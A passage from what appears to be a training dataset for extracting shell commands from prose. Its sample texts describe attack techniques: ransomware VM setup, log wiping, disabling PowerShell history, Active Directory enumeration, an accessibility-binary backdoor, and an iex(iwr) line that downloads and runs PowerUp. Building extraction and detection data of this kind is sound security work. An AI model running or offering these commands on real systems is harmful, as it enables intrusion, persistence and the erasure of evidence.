    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For setting up ransomware payloads using virtual machines, use this sequence of commands: \"C:\\Program Files\\Oracle\\VirtualBox\\VBoxSVC.exe\" /reregserver\nregsvr32 /S \"C:\\Program Files\\Oracle\\VirtualBox\\VboxC.dll\"\nrundll32 \"C:\\Program Files\\Oracle\\VirtualBox\\VBoxRT.dll,RTR3Init\"\nsc create VBoxDRV binpath= \"C:\\Program Files\\Oracle\\VirtualBox\\drivers\\VboxDrv.sys\" type= kernel start= auto error= normal displayname= PortableVBoxDRV\nsc start VBoxDRV; This procedure creates a VirtualBox VM and starts it with the command:\n\"#{vboxmanage_exe}\" createvm --name \"#{vm_name}\" --register\n\"#{vboxmanage_exe}\" modifyvm \"#{vm_name}\" --firmware efi\n\"#{vboxmanage_exe}\" startvm \"#{vm_name}\"",
    "output": "{\"command_list\": [\"\\\"C:\\\\Program Files\\\\Oracle\\\\VirtualBox\\\\VBoxSVC.exe\\\" /reregserver\\nregsvr32 /S \\\"C:\\\\Program Files\\\\Oracle\\\\VirtualBox\\\\VboxC.dll\\\"\\nrundll32 \\\"C:\\\\Program Files\\\\Oracle\\\\VirtualBox\\\\VBoxRT.dll,RTR3Init\\\"\\nsc create VBoxDRV binpath= \\\"C:\\\\Program Files\\\\Oracle\\\\VirtualBox\\\\drivers\\\\VboxDrv.sys\\\" type= kernel start= auto error= normal displayname= PortableVBoxDRV\\nsc start VBoxDRV\\n\", \"\\\"#{vboxmanage_exe}\\\" createvm --name \\\"#{vm_name}\\\" --register\\n\\\"#{vboxmanage_exe}\\\" modifyvm \\\"#{vm_name}\\\" --firmware efi\\n\\\"#{vboxmanage_exe}\\\" startvm \\\"#{vm_name}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can remove all Docker container log entries by executing this command: docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log; For enhanced privacy, configure PowerShell to not save history by executing: Set-PSReadlineOption -HistorySaveStyle SaveNothing",
    "output": "{\"command_list\": [\"docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log\\n\", \"Set-PSReadlineOption -HistorySaveStyle SaveNothing\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using the echo utility, you can empty the system log file with the command: sudo echo '' > #{system_log_path}\n; Using the echo utility, you can empty the system log file by executing: echo '' > /var/log/messages",
    "output": "{\"command_list\": [\"sudo echo '' > #{system_log_path}\\n\", \"echo '' > /var/log/messages\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate users in Active Directory and display their paths, use the command: ([adsisearcher]\"objectcategory=user\").FindAll(); ([adsisearcher]\"objectcategory=user\").FindOne()\n; The following script utilizes ADSISearcher to scan organizational units in Active Directory, which can be initiated via the command: \n(([adsisearcher]\\'(objectcategory=organizationalunit)\\').FindAll()).Path | %{if(([ADSI]\"$_\").gPlink){Write-Host \"[+] OU Path:\"([ADSI]\"$_\").Path;$a=((([ADSI]\"$_\").gplink) -replace \"[[;]\" -split \"]\");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host \"Policy Path[$i]:\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host \"Policy Name[$i]:\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output \"`n\" }}\n. It outputs user details and their paths upon completion.",
    "output": "{\"command_list\": [\"([adsisearcher]\\\"objectcategory=user\\\").FindAll(); ([adsisearcher]\\\"objectcategory=user\\\").FindOne()\\n\", \"(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]\\\"$_\\\").gPlink){Write-Host \\\"[+] OU Path:\\\"([ADSI]\\\"$_\\\").Path;$a=((([ADSI]\\\"$_\\\").gplink) -replace \\\"[[;]\\\" -split \\\"]\\\");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host \\\"Policy Path[$i]:\\\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host \\\"Policy Name[$i]:\\\"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output \\\"`n\\\" }}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The ownership of a file or directory can be altered with this command: chown #{owner} #{file_or_folder}\n; The ownership of a file or folder can be changed recursively with the command: chown -R #{owner} #{file_or_folder}",
    "output": "{\"command_list\": [\"chown #{owner} #{file_or_folder}\\n\", \"chown -R #{owner} #{file_or_folder}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To replace Magnify.exe with cmd.exe and enable an elevated command prompt via the Accessibility menu, use the following command:\nIF NOT EXIST C:\\Windows\\System32\\Magnify_backup.exe (copy C:\\Windows\\System32\\Magnify.exe C:\\Windows\\System32\\Magnify_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\Magnify.exe /A\nicacls C:\\Windows\\System32\\Magnify.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Magnify.exe\n; To replace the Narrator binary with cmd.exe, enabling an elevated command prompt via the Accessibility menu, use the following command:\nIF NOT EXIST C:\\Windows\\System32\\Narrator_backup.exe (copy C:\\Windows\\System32\\Narrator.exe C:\\Windows\\System32\\Narrator_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\Narrator.exe /A\nicacls C:\\Windows\\System32\\Narrator.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Narrator.exe\n",
    "output": "{\"command_list\": [\"IF NOT EXIST C:\\\\Windows\\\\System32\\\\Magnify_backup.exe (copy C:\\\\Windows\\\\System32\\\\Magnify.exe C:\\\\Windows\\\\System32\\\\Magnify_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\Magnify.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\Magnify.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\Magnify.exe\\n\", \"IF NOT EXIST C:\\\\Windows\\\\System32\\\\Narrator_backup.exe (copy C:\\\\Windows\\\\System32\\\\Narrator.exe C:\\\\Windows\\\\System32\\\\Narrator_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\Narrator.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\Narrator.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\Narrator.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To locate Google Chrome and Edge Chromium bookmark files on Windows systems, use the following command: where /R C:\\Users\\ Bookmarks; For finding Firefox bookmark files in Windows systems, execute this command to display all relevant paths: where /R C:\\Users\\ places.sqlite",
    "output": "{\"command_list\": [\"where /R C:\\\\Users\\\\ Bookmarks\\n\", \"where /R C:\\\\Users\\\\ places.sqlite\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit 